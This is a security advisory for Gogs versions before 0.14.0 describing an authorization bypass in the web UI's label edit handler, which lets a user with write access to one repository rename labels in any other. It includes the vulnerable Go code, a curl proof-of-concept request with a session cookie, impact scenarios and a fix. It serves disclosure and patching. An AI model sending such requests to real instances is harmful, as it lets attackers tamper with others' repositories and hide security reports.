GHSA-cv22-72px-f4gh
Gogs has an Authorization Bypass Allows Cross-Repository Label Modification in Gogs
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | gogs.io/gogs | < 0.14.0 | 0.14.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### **Summary**
A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The `UpdateLabel` function in the Web UI (`internal/route/repo/issue.go`) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.
### **Details**
The vulnerability exists in the Web UI's label update endpoint `POST /:username/:reponame/labels/edit`. The handler function `UpdateLabel` uses an incorrect database query function that bypasses repository ownership validation:
**Vulnerable Code** (`internal/route/repo/issue.go:1040-1054`):
```plain
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelByID(f.ID) // ❌ No repository validation
if err != nil {
c.NotFoundOrError(err, "get label by ID")
return
}
// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}
```
**Root Cause**:
1. The function calls `database.GetLabelByID(f.ID)` which internally passes `repoID=0` to the ORM layer
2. According to code comments in `internal/database/issue_label.go:147-166`, passing `repoID=0` causes the ORM to ignore repository restrictions
3. No validation checks whether `l.RepoID == c.Repo.Repository.ID` before updating
4. The middleware `reqRepoWriter()` only validates write access to the repository in the URL path, not the label's actual repository
**Inconsistency with Other Functions**:
+ `NewLabel`: Correctly sets `RepoID = c.Repo.Repository.ID`
+ `DeleteLabel`: Correctly uses `database.DeleteLabel(c.Repo.Repository.ID, id)`
+ API `EditLabel`: Correctly uses `database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)`
- ****Only `UpdateLabel` in ****Web UI**** uses the vulnerable pattern****
### **PoC**
**Prerequisites**:
+ Two user accounts: Alice (attacker) and Bob (victim)
+ alice has written access to repo-a
+ Bob owns repo-b with labels
**Step 1: Identify Target Label ID**
1. Login as bob, navigate to bob/repo-b/labels
2. Open browser DevTools (F12) → Network tab
3. Click edit on any label
4. Observe the form data: id=<LABEL_ID>
5. Example: id=1
**Step 2: Execute Attack**
```plain
# Login as alice, get session cookie
# Open DevTools → Application → Cookies → i_like_gogs
# Copy the cookie value
# Send malicious request
curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \
-H "Cookie: i_like_gogs=<ALICE_SESSION_COOKIE>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "id=1&title=HACKED-BY-ALICE&color=%23000000"
# Expected response: 302 Found (redirect)
```
**Step 3: Verify Impact**
1. Login as bob
2. Navigate to bob/repo-b/labels
3. Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color
### **Impact**
1. **Issue Classification Disruption**: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized
2. **Security Issue Concealment**: Change "security" labels to "documentation" to hide vulnerability reports from security teams
3. **Workflow**** Sabotage**: Alter labels used in CI/CD automation, breaking deployment pipelines
4. **Mass Disruption**: Batch modifies all labels across multiple repositories using ID enumeration
**Recommended Fix**:
```plain
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)
if err != nil {
c.NotFoundOrError(err, "get label of repository by ID")
return
}
// Now label ownership is validated at database layer
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}
```
References
External links from the advisory. They lead to third-party sites.